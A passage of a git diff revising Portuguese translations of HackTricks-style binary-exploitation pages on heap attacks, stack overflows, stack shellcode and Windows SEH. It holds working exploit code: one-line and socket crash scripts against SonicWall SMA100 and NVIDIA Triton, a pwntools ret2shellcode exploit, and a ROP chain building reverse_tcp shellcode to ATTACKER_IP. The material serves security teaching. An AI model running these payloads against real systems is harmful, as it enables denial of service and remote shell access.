então freeá‑lo, mas retornando um ponteiro para aquela região freed que pode ser usada. +- Portanto, **2 chunks são criados**: **chunk0** que será merged com ele mesmo e chunk1 para prevenir consolidação com o top chunk. Então, a função **merge** é chamada com chunk0 duas vezes o que causará um use after free. +- Depois, a função **`view`** é chamada com o índice 2 (que é o índice do chunk use after free), o que irá **leak um endereço libc**. +- Como o binário tem proteções para só mallocar sizes maiores que **`global_max_fast`** então nenhum fastbin é usado, um unsorted bin attack será usado para sobrescrever a variável global `global_max_fast`. +- Então, é possível chamar a função edit com o índice 2 (o ponteiro do use after free) e sobrescrever o ponteiro `bk` para apontar para `p64(global_max_fast-0x10)`. Então, criar um novo chunk irá usar o endereço previamente comprometido free (0x20) e **disparará o unsorted bin attack** sobrescrevendo o `global_max_fast` para um valor muito grande, permitindo agora criar chunks nos fast bins. +- Agora é realizado um **fast bin attack**: +- Primeiro de tudo descobre‑se que é possível trabalhar com fast **chunks de size 200** na localização de **`__free_hook`**: - 
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -115,20 +115,20 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-- Se conseguirmos obter um fast chunk de tamanho 0x200 nessa localização, será possível sobrescrever um function pointer que será executado. -- Para isso, um novo chunk de tamanho `0xfc` é criado e a função merged é chamada com esse ponteiro duas vezes; dessa forma obtemos um ponteiro para um chunk freeado de tamanho `0xfc*2 = 0x1f8` no fast bin. -- Então, a função edit é chamada nesse chunk para modificar o endereço **`fd`** desse fast bin para apontar para o anterior **`__free_hook`**. -- Depois, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior; então outro chunk de tamanho `0x1f8` é criado para obter um fast bin chunk em **`__free_hook`**, que é sobrescrito com o endereço da função **`system`**. -- E finalmente um chunk contendo a string `/bin/sh\x00` é freeado chamando a função delete, disparando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro. +- Se conseguirmos obter um fast chunk de size 0x200 nessa localização, será possível sobrescrever um function pointer que será executado +- Para isso, um novo chunk de size `0xfc` é criado e a função merged é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk freed de size `0xfc*2 = 0x1f8` no fast bin. +- Depois, a função edit é chamada nesse chunk para modificar o endereço **`fd`** desse fast bin para apontar para o anterior function **`__free_hook`**. +- Em seguida, um chunk com size `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de size `0x1f8` é criado para obter um fast bin chunk em **`__free_hook`** que é sobrescrito com o endereço da função **`system`**. +- E finalmente um chunk contendo a string `/bin/sh\x00` é freed chamando a função delete, disparando o **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- Outro exemplo de abusar de um overflow de 1B para consolidar chunks no unsorted bin e conseguir um libc infoleak e então realizar um fast bin attack para sobrescrever malloc hook com um one gadget address +- Outro exemplo de abuso de um overflow de 1B para consolidar chunks no unsorted bin e obter um libc infoleak e então realizar um fast bin attack para sobrescrever malloc hook com um one gadget address - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) -- Só podemos alocar chunks de tamanho maior que `0x100`. +- Só podemos alocar chunks de size maior que `0x100`. - Sobrescrever `global_max_fast` usando um Unsorted Bin attack (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits). -- Fast Bin attack para modificar um array global de chunks. Isso dá uma primitive de leitura/escrita arbitrária, que permite modificar a GOT e apontar alguma função para `system`. +- Fast Bin attack para modificar um array global de chunks. Isso dá uma primitive de arbitrary read/write, o que permite modificar a GOT e apontar alguma função para `system`. ## References -- Checagens de integridade do unsorted-bin do Glibc malloc (exemplo no source 2.33): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c -- `global_max_fast` e definições relacionadas no glibc moderno (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c +- Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c +- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index a5cdcaa71..8b96087f9 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,15 +4,15 @@ ## O que é um Stack Overflow -A **stack overflow** é uma vulnerabilidade que ocorre quando um programa grava mais dados no stack do que foi alocado para ele. Esse excesso de dados irá **sobrescrever espaços de memória adjacentes**, levando à corrupção de dados válidos, à alteração do fluxo de controle e, potencialmente, à execução de código malicioso. Esse problema frequentemente surge devido ao uso de funções inseguras que não realizam bounds checking na entrada. +A **stack overflow** é uma vulnerabilidade que ocorre quando um programa escreve mais dados na stack do que foi alocado para ela. Esse excesso de dados irá **sobrescrever espaço de memória adjacente**, levando à corrupção de dados válidos, à interrupção do fluxo de controle e, potencialmente, à execução de código malicioso. Esse problema costuma surgir devido ao uso de funções inseguras que não fazem verificação de limites na entrada. -O principal problema dessa sobrescrita é que o **saved instruction pointer (EIP/RIP)** e o **saved base pointer (EBP/RBP)** usados para retornar à função anterior são **armazenados no stack**. Portanto, um atacante poderá sobrescrevê-los e **controlar o fluxo de execução do programa**. +O principal problema dessa sobrescrita é que o **saved instruction pointer (EIP/RIP)** e o **saved base pointer (EBP/RBP)** para retornar à função anterior são **armazenados na stack**. Portanto, um atacante poderá sobrescrevê-los e **controlar o fluxo de execução do programa**. -A vulnerabilidade normalmente surge porque uma função **copia para dentro do stack mais bytes do que a quantidade alocada para ela**, podendo assim sobrescrever outras partes do stack. +A vulnerabilidade geralmente surge porque uma função **copia dentro da stack mais bytes do que a quantidade alocada para ela**, possibilitando assim sobrescrever outras partes da stack. -Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read`** e **`memcpy`** que recebem um **argumento de comprimento**, podem ser usadas de forma vulnerável se o comprimento especificado for maior que o alocado. +Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read`** e **`memcpy`** que recebem um **length argument**, podem ser usadas de forma vulnerável se o tamanho especificado for maior do que o alocado. -For example, the following functions could be vulnerable: +Por exemplo, as seguintes funções poderiam ser vulneráveis: ```c void vulnerable() { char buffer[128]; @@ -23,11 +23,11 @@ printf("You entered: %s\n", buffer); ``` ### Encontrando offsets de Stack Overflows -A forma mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (ex.: `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que **foi tentado acessar o endereço `0x41414141`**. +A forma mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (ex.: `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que **houve tentativa de acessar o endereço `0x41414141`**. -Além disso, uma vez que você descobriu que existe uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até ser possível **sobrescrever o return address**; para isso geralmente se usa uma **De Bruijn sequence.** A qual, para um alfabeto de tamanho _k_ e subsequências de comprimento _n_, é uma **sequência cíclica em que cada subsequência possível de comprimento _n_ aparece exatamente uma vez** como subsequência contígua. +Além disso, uma vez identificado que existe uma Stack Overflow vulnerability, você precisará encontrar o offset até que seja possível **overwrite the return address**, para isso normalmente se usa uma **De Bruijn sequence.** A mesma, para um dado alfabeto de tamanho _k_ e subsequências de comprimento _n_, é uma **sequência cíclica na qual cada possível subsequência de comprimento _n_ aparece exatamente uma vez** como subsequência contígua. -Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como padding uma dessas sequências e então encontrar o offset dos bytes que acabaram sobrescrevendo-o. +Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como padding uma dessas sequências e então encontrar o offset dos bytes que terminaram sobrescrevendo-a. É possível usar **pwntools** para isso: ```python @@ -48,16 +48,16 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## Exploiting Stack Overflows +## Explorando Stack Overflows -Durante um overflow (supondo que o tamanho do overflow seja grande o suficiente) você poderá **overwrite** valores de variáveis locais dentro da stack até alcançar o salvo **EBP/RBP and EIP/RIP (or even more)**.\ -A forma mais comum de abusar desse tipo de vulnerabilidade é **modificando o return address** de modo que, quando a função terminar, o **control flow será redirecionado para onde o usuário especificou** nesse ponteiro. +Durante um overflow (supondo que o tamanho do overflow seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da stack até alcançar o salvo **EBP/RBP and EIP/RIP (or even more)**.\ +A maneira mais comum de explorar esse tipo de vulnerabilidade é **modificar o return address** para que, quando a função terminar, o **control flow seja redirecionado para onde o usuário especificou** nesse ponteiro. -No entanto, em outros cenários talvez apenas **sobrescrever alguns valores de variáveis na stack** seja suficiente para a exploração (como em desafios CTF fáceis). +No entanto, em outros cenários talvez apenas **sobrescrever alguns valores de variáveis na stack** seja suficiente para a exploração (como em desafios fáceis de CTF). ### Ret2win -In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) would be disabled) so when the vulnerable function returns, the hidden function will be called: +Nesse tipo de desafios CTF, existe uma **function** **inside** o binary que é **never called** e que **você precisa chamar para ganhar**. Para esses desafios você só precisa encontrar o **offset to overwrite the return address** e **encontrar o address da function** a ser chamada (normalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estará desabilitado) para que, quando a função vulnerável retornar, a função escondida seja chamada: {{#ref}} @@ -66,7 +66,7 @@ ret2win/ ### Stack Shellcode -Nesse cenário o atacante pode colocar um shellcode na stack e abusar do EIP/RIP controlado para saltar para o shellcode e executar código arbitrário: +Nesse cenário o atacante pode colocar um shellcode na stack e abusar do EIP/RIP controlado para pular para o shellcode e executar código arbitrário: {{#ref}} @@ -75,7 +75,7 @@ stack-shellcode/ ### Windows SEH-based exploitation (nSEH/SEH) -On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start. +Em Windows 32-bit, um overflow pode sobrescrever a Structured Exception Handler (SEH) chain em vez do saved return address. A exploração tipicamente substitui o SEH pointer por um POP POP RET gadget e usa o campo de 4 bytes nSEH para um salto curto (short jump) para pivotar de volta para o grande buffer onde o shellcode vive. Um padrão comum é um short jmp em nSEH que aterrissa em um near jmp de 5 bytes colocado logo antes de nSEH para saltar centenas de bytes de volta ao início do payload. {{#ref}} @@ -84,7 +84,7 @@ windows-seh-overflow.md ### ROP & Ret2... techniques -Essa técnica é a estrutura fundamental para contornar a principal proteção da técnica anterior: **No executable stack (NX)**. E permite realizar várias outras técnicas (ret2lib, ret2syscall...) que irão acabar executando comandos arbitrários ao abusar de instruções existentes no binary: +Essa técnica é a estrutura fundamental para contornar a principal proteção ao método anterior: **No executable stack (NX)**. E permite executar várias outras técnicas (ret2lib, ret2syscall...) que acabarão executando comandos arbitrários ao abusar de instruções já existentes no binary: {{#ref}} @@ -93,16 +93,16 @@ Essa técnica é a estrutura fundamental para contornar a principal proteção d ## Heap Overflows -Um overflow nem sempre vai acontecer na stack, ele também pode ocorrer no **heap**, por exemplo: +Um overflow nem sempre estará na stack, também pode estar no **heap**, por exemplo: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Types of protections +## Tipos de proteções -Existem várias proteções tentando evitar a exploração de vulnerabilidades, confira-as em: +Existem várias proteções tentando prevenir a exploração de vulnerabilidades, confira em: {{#ref}} @@ -112,7 +112,7 @@ Existem várias proteções tentando evitar a exploração de vulnerabilidades, ### Real-World Example: CVE-2025-40596 (SonicWall SMA100) Uma boa demonstração de por que **`sscanf` should never be trusted for parsing untrusted input** apareceu em 2025 no appliance SonicWall SMA100 SSL-VPN. -A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que comece com `/__api__/`: +A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que começa com `/__api__/`: ```c char version[3]; char endpoint[0x800] = {0}; @@ -120,25 +120,25 @@ char endpoint[0x800] = {0}; sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` 1. A primeira conversão (`%2s`) armazena com segurança **dois** bytes em `version` (por exemplo `"v1"`). -2. A segunda conversão (`%s`) **não possui especificador de comprimento**, portanto `sscanf` continuará copiando **até o primeiro byte NUL**. -3. Como `endpoint` está localizado na **stack** e tem **0x800 bytes de tamanho**, fornecer um caminho maior que 0x800 bytes corrompe tudo que fica após o buffer ‑ incluindo o **stack canary** e o **saved return address**. +2. A segunda conversão (`%s`) **não tem especificador de comprimento**, portanto `sscanf` continuará copiando **até o primeiro byte NUL**. +3. Porque `endpoint` está localizado na **stack** e tem **0x800 bytes de comprimento**, fornecer um caminho com mais de 0x800 bytes corrompe tudo que vem depois do buffer ‑ incluindo o **stack canary** e o **saved return address**. -Um proof-of-concept de uma linha é suficiente para provocar o crash **antes da autenticação**: +Uma prova de conceito em uma única linha é suficiente para acionar o crash **before authentication**: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Mesmo que stack canaries abortem o processo, um atacante ainda obtém uma primitiva de **Denial-of-Service** (e, com leaks adicionais de informação, possivelmente code-execution). A lição é simples: +Mesmo que os stack canaries abortem o processo, um atacante ainda obtém uma primitiva de **Denial-of-Service** (e, com leaks de informação adicionais, possivelmente code-execution). A lição é simples: -* Sempre especifique uma **largura máxima de campo** (p.ex. `%511s`). -* Prefira alternativas mais seguras como `snprintf`/`strncpy_s`. +* Sempre forneça uma **largura máxima de campo** (por exemplo `%511s`). +* Prefira alternativas mais seguras, como `snprintf`/`strncpy_s`. ### Exemplo do mundo real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -O Triton Inference Server da NVIDIA (≤ v25.06) continha múltiplos **stack-based overflows** acessíveis através de sua HTTP API. -O padrão vulnerável apareceu repetidamente em `http_server.cc` e `sagemaker_server.cc`: +O Triton Inference Server da NVIDIA (≤ v25.06) continha múltiplos **stack-based overflows** acessíveis através da sua HTTP API. +O padrão vulnerável aparecia repetidamente em `http_server.cc` e `sagemaker_server.cc`: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); if (n > 0) { @@ -148,9 +148,9 @@ alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` -1. `evbuffer_peek` (libevent) retorna o **número de segmentos internos de buffer** que compõem o corpo da requisição HTTP atual. -2. Cada segmento faz com que um `evbuffer_iovec` de **16-byte** seja alocado na **stack** via `alloca()` – **sem qualquer limite superior**. -3. Ao abusar de **HTTP _chunked transfer-encoding_**, um cliente pode forçar a requisição a ser dividida em **centenas de milhares de chunks de 6-byte** (`"1\r\nA\r\n"`). Isso faz com que `n` cresça sem limite até que a stack seja esgotada. +1. `evbuffer_peek` (libevent) retorna o **número de segmentos de buffer internos** que compõem o corpo da requisição HTTP atual. +2. Cada segmento provoca a alocação de um `evbuffer_iovec` de **16-byte** na **stack** via `alloca()` – **sem qualquer limite superior**. +3. Ao abusar de **HTTP _chunked transfer-encoding_**, um cliente pode forçar a requisição a ser dividida em **centenas de milhares de 6-byte chunks** (`"1\r\nA\r\n"`). Isso faz `n` crescer sem limites até que a stack seja esgotada. #### Prova de Conceito (DoS) ```python @@ -176,10 +176,10 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -Uma requisição de ~3 MB é suficiente para sobrescrever o endereço de retorno salvo e **crash** o daemon em uma build padrão. +Uma solicitação de ~3 MB é suficiente para sobrescrever o saved return address e **crash** o daemon em uma build padrão. -#### Correção e Mitigação -A versão 25.07 substitui a alocação insegura na pilha por um **heap-backed `std::vector`** e trata graciosamente `std::bad_alloc`: +#### Correção & Mitigação +A versão 25.07 substitui a alocação insegura na pilha por um **heap-backed `std::vector`** e passa a tratar `std::bad_alloc` de forma graciosa: ```c++ std::vector v_vec; try { @@ -191,7 +191,7 @@ struct evbuffer_iovec *v = v_vec.data(); ``` Lições aprendidas: * Nunca chame `alloca()` com tamanhos controlados pelo atacante. -* Requisições chunked podem alterar drasticamente a forma dos buffers do lado do servidor. +* Chunked requests podem alterar drasticamente a forma dos buffers do lado do servidor. * Valide / limite qualquer valor derivado da entrada do cliente *antes* de usá-lo em alocações de memória. ## Referências diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index d648cdf99..ef24f4d7e 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,7 +4,7 @@ ## Informações Básicas -**Stack shellcode** é uma técnica usada em **binary exploitation** em que um atacante grava shellcode na stack de um programa vulnerável e então modifica o **Instruction Pointer (IP)** ou o **Extended Instruction Pointer (EIP)** para apontar para a localização desse shellcode, causando sua execução. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Abaixo está uma descrição do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com **pwntools**. +**Stack shellcode** é uma técnica usada em **binary exploitation** onde um atacante escreve shellcode na stack de um programa vulnerável e então modifica o **Instruction Pointer (IP)** ou **Extended Instruction Pointer (EIP)** para apontar para a localização desse shellcode, fazendo com que ele seja executado. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Aqui está um resumo do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com **pwntools**. ### Exemplo em C: Um Programa Vulnerável @@ -32,14 +32,14 @@ Para compilar este programa enquanto desabilita várias proteções (para simula ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` -- `-fno-stack-protector`: Desativa a proteção da pilha. -- `-z execstack`: Torna a pilha executável, o que é necessário para executar shellcode armazenado na pilha. -- `-no-pie`: Desativa Position Independent Executable (PIE), facilitando prever o endereço de memória onde nosso shellcode ficará localizado. -- `-m32`: Compila o programa como um executável de 32 bits, frequentemente usado pela simplicidade no desenvolvimento de exploits. +- `-fno-stack-protector`: Desabilita a proteção da stack. +- `-z execstack`: Torna a stack executável, o que é necessário para executar shellcode armazenado na stack. +- `-no-pie`: Desabilita Position Independent Executable (PIE), facilitando prever o endereço de memória onde nosso shellcode será localizado. +- `-m32`: Compila o programa como um executável 32-bit, frequentemente usado por simplicidade no desenvolvimento de exploit. -### Exploit em Python usando Pwntools +### Python Exploit using Pwntools -A seguir, um exemplo de como você poderia escrever um exploit em Python usando **pwntools** para realizar um ataque **ret2shellcode**: +Aqui está como você poderia escrever um exploit em Python usando **pwntools** para realizar um ataque **ret2shellcode**: ```python from pwn import * @@ -66,28 +66,28 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -Este script constrói um payload composto por um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado. +Este script constrói um payload consistindo de um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado. -O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode independentemente do endereço exato. Ajuste o argumento de `p32()` para o endereço inicial do seu buffer mais um offset para cair no NOP slide. +O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "escorregue" para o nosso shellcode independentemente do endereço exato. Ajuste o argumento de `p32()` para o endereço inicial do seu buffer mais um offset para cair no NOP slide. ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) -No Windows moderno a stack não é executável (DEP/NX). Uma forma comum de ainda executar shellcode residente na stack após um BOF de stack é construir uma cadeia ROP de 64-bit que chama VirtualAlloc (ou VirtualProtect) a partir da Import Address Table (IAT) do módulo para tornar uma região da stack executável e então retornar para o shellcode anexado depois da cadeia. +Em máquinas Windows modernas a stack é não-executável (DEP/NX). Uma forma comum de ainda executar shellcode residente na stack após um BOF na stack é construir uma cadeia ROP 64-bit que chame VirtualAlloc (ou VirtualProtect) a partir da Import Address Table (IAT) do módulo para tornar uma região da stack executável e então retornar para o shellcode anexado após a cadeia. -Key points (Win64 calling convention): +Pontos-chave (Win64 calling convention): - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) -- RCX = lpAddress → escolha um endereço na stack atual (por exemplo, RSP) para que a região RWX recém-alocada se sobreponha ao seu payload -- RDX = dwSize → grande o suficiente para sua chain + shellcode (por exemplo, 0x1000) +- RCX = lpAddress → escolha um endereço na stack atual (p.ex., RSP) de modo que a região RWX recém-alocada sobreponha seu payload +- RDX = dwSize → grande o suficiente para sua cadeia + shellcode (p.ex., 0x1000) - R8 = flAllocationType = MEM_COMMIT (0x1000) - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) -- Return directly into the shellcode placed right after the chain. +- Retorne diretamente para o shellcode colocado logo após a cadeia. -Minimal strategy: -1) Leak a base de um módulo (por exemplo, via format-string, object pointer, etc.) para calcular endereços absolutos de gadgets e da IAT sob ASLR. -2) Encontre gadgets para carregar RCX/RDX/R8/R9 (pop ou sequências baseadas em mov/xor) e um call/jmp [VirtualAlloc@IAT]. Se não houver pop r8/r9 direto, use gadgets aritméticos para sintetizar constantes (por exemplo, defina r8=0 e some r9=0x40 repetidamente quarenta vezes para alcançar 0x1000). -3) Coloque o stage-2 shellcode imediatamente após a chain. +Estratégia mínima: +1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR. +2) Encontre gadgets para carregar RCX/RDX/R8/R9 (pop or mov/xor-based sequences) e um call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000). +3) Coloque o stage-2 shellcode imediatamente após a cadeia. -Example layout (conceptual): +Exemplo de layout (conceitual): ``` # ... padding up to saved RIP ... # R9 = 0x40 (PAGE_EXECUTE_READWRITE) @@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000 JMP_SHELLCODE_OR_RET # ---- stage-2 shellcode (x64) ---- ``` -Com um conjunto de gadgets restrito, você pode criar valores de registradores indiretamente, por exemplo: -- mov r9, rbx; mov r8, 0; add rsp, 8; ret → define r9 a partir de rbx, zera r8 e compensa a pilha com um qword de lixo. -- xor rbx, rsp; ret → inicializa rbx com o ponteiro de pilha atual. -- push rbx; pop rax; mov rcx, rax; ret → move o valor derivado de RSP para RCX. +Com um conjunto de gadgets limitado, você pode construir valores de registradores indiretamente, por exemplo: +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → definir r9 a partir de rbx, zerar r8, e compensar a pilha com um qword de lixo. +- xor rbx, rsp; ret → inicializar rbx com o ponteiro de pilha atual. +- push rbx; pop rax; mov rcx, rax; ret → mover valor derivado de RSP para RCX. -Esboço Pwntools (dada uma base conhecida e gadgets): +Esboço em Pwntools (dada uma base conhecida e gadgets): ```python from pwn import * base = 0x7ff6693b0000 @@ -132,27 +132,27 @@ rop += p64(base+POP_RDX_RET) + p64(0x1000) rop += p64(IAT_VirtualAlloc) rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) ``` -Dicas: +Tips: - VirtualProtect funciona de forma semelhante se for preferível tornar um buffer existente RX; a ordem dos parâmetros é diferente. -- Se o espaço na stack estiver curto, aloque RWX em outro lugar (RCX=NULL) e jmp para essa nova região em vez de reutilizar a stack. -- Sempre contabilize gadgets que ajustam RSP (e.g., add rsp, 8; ret) inserindo qwords inúteis. +- Se o espaço da stack for limitado, aloque RWX em outro lugar (RCX=NULL) e jmp para essa nova região em vez de reutilizar a stack. +- Sempre considere gadgets que ajustam RSP (e.g., add rsp, 8; ret) inserindo qwords de lixo. -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **deve ser desativado** para que o endereço seja confiável entre execuções; caso contrário o endereço onde a função será armazenada não será sempre o mesmo e você precisará de algum leak para descobrir onde a função win foi carregada. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) também devem ser desativados, caso contrário o endereço de retorno EIP comprometido nunca será seguido. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) a proteção **stack** impediria a execução do shellcode dentro da stack porque essa região não será executável. +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** para que o endereço seja confiável entre execuções — caso contrário o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win foi carregada. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) devem também ser desativados ou o endereço de retorno EIP comprometido nunca será seguido. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection impediria a execução do shellcode dentro da stack porque essa região não será executável. ## Outros Exemplos & Referências - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, ASLR com leak de endereço da stack, escrever shellcode e pular para ele +- 64bit, ASLR com stack address leak, escrever shellcode e saltar para ele - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, ASLR com leak da stack, escrever shellcode e pular para ele +- 32 bit, ASLR com stack leak, escrever shellcode e saltar para ele - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, ASLR com leak da stack, comparação para impedir a chamada a exit(), sobrescrever variável com um valor e escrever shellcode e pular para ele +- 32 bit, ASLR com stack leak, comparação para prevenir chamada a exit(), sobrescrever variável com um valor e escrever shellcode e saltar para ele - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, sem ASLR, ROP gadget para tornar a stack executável e pular para o shellcode na stack +- arm64, sem ASLR, ROP gadget para tornar a stack executável e saltar para o shellcode na stack ## Referências diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md index 5a31ae664..68c0acfa2 100644 --- a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -2,24 +2,24 @@ {{#include ../../banners/hacktricks-training.md}} -SEH-based exploitation é uma técnica clássica do Windows x86 que abusa do encadeamento do Structured Exception Handler armazenado na stack. Quando um buffer overflow na stack sobrescreve os dois campos de 4 bytes +SEH-based exploitation é uma técnica clássica do Windows x86 que abusa da cadeia Structured Exception Handler armazenada na stack. Quando um stack buffer overflow sobrescreve os dois campos de 4 bytes -- nSEH: pointer to the next SEH record, and -- SEH: pointer to the exception handler function +- nSEH: ponteiro para o próximo registro SEH, e +- SEH: ponteiro para a função de tratamento de exceção -um atacante pode assumir o controle da execução ao: +um atacante pode tomar controle da execução através de: -1) Apontar SEH para o endereço de um gadget POP POP RET em um módulo sem proteção, de forma que quando uma exceção for despachada o gadget retorne para bytes controlados pelo atacante, e -2) Usar nSEH para redirecionar a execução (tipicamente um short jump) de volta para o grande buffer que transbordou onde o shellcode reside. +1) Configurar SEH para o endereço de um POP POP RET gadget em um módulo sem proteção, de modo que quando uma exceção for despachada o gadget retorne para bytes controlados pelo atacante, e +2) Usar nSEH para redirecionar a execução (tipicamente um short jump) de volta para o grande buffer overflow onde o shellcode reside. -Esta técnica é específica para processos 32-bit (x86). Em sistemas modernos, prefira um módulo sem SafeSEH e ASLR para o gadget. Bad characters frequentemente incluem 0x00, 0x0a, 0x0d (NUL/CR/LF) devido a C-strings e parsing HTTP. +Esta técnica é específica para processos 32-bit (x86). Em sistemas modernos, prefira um módulo sem SafeSEH e ASLR para o gadget. Caracteres problemáticos frequentemente incluem 0x00, 0x0a, 0x0d (NUL/CR/LF) devido a C-strings e parsing HTTP. --- -## Finding exact offsets (nSEH / SEH) +## Encontrando offsets exatos (nSEH / SEH) -- Cause o crash do processo e verifique se o SEH chain foi sobrescrito (por exemplo, em x32dbg/x64dbg, verifique o SEH view). -- Envie um padrão cíclico como dados que transbordam e calcule os offsets dos dois dwords que caem em nSEH e SEH. +- Cause a falha no processo e verifique se 